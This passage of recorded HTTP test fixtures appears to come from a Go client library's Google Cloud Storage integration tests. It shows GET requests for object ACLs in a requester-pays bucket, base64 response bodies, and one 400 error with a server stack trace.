"2800" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:11 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAU=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:11 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpbetUCGwYg4rhIR-DP3ntPqbkFwSqutNltVR55I4qedP-rZ5hC7ospMy6hZ4aQaNOhNv0frmst8MQZ0j6Mp8BcTC6qy7mU8bhEAiMGLycR5XxUWfI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFVPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoidXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ09HZXFOTHgvZUVDRUFVPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL2RvbWFpbi1nb29nbGUuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9kb21haW4tZ29vZ2xlLmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In1dfQ==" - } - }, - { - "ID": "56aaafb0a24b0644", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2800" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:11 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAU=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:11 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrqQczDm-dzjgTlLFcJ2lXQrMTpQ_8UP-1hNbGj7eZEgZcbxWA-oyXqEe4tJXq3gYdZ3mEIcAzaDtNeBHWidpIev7kdXWank04_JSWbQtU2UomJqeU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFVPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoidXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ09HZXFOTHgvZUVDRUFVPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL2RvbWFpbi1nb29nbGUuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9kb21haW4tZ29vZ2xlLmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkxNTQ4MDAxIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDT0dlcU5MeC9lRUNFQVU9In1dfQ==" - } - }, - { - "ID": "3bbc40d778939612", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12203" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur5kJWpLwxz76BKPll75-nOsLv_uoh7X-TW0SbNHCYEzkGq8VZ-W8a5tKGUF6rKea4ejr4MhcqJVr1Zu7O-zNAfQWJMsHC9CTkOrPa5Iu1s0KBJDdY" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9UkVRVUlSRUQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9